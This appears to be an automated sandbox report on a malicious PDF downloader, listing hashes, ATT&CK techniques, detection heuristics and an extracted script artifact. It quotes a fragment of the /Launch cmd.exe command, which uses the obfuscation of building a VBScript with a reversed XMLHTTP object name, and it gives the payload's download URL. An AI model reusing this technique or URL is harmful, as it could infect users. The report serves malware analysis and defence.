PDF malware analysis — malicious · e830ba5a43656465

MALICIOUS

PDF

780 B

MD5: 3c4c880c1a087a2d7784813e6d5bf5c3 SHA-1: bead8eaccd68936b6d90081e286c6b680189909f SHA-256: e830ba5a436564659f06262a2b0c89254c2ae0071c21bb4778cde93f915c934e

120 Risk Score

Malware Insights

MITRE ATT&CK

T1059.003 Windows Command Shell T1204.002 Malicious File

The PDF file contains a launch action that executes cmd.exe. This command is used to echo a Base64 encoded string which, when decoded, reveals a VBScript. The VBScript is designed to download and execute a payload from the URL http://spilm.in/x/img.php?d=1. The script's obfuscation and download functionality indicate it serves as a downloader for a second-stage malicious payload.

Heuristics 4

Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://spilm.in/x/img.php?d=1

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_00000067.bin` `ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x67	63 bytes

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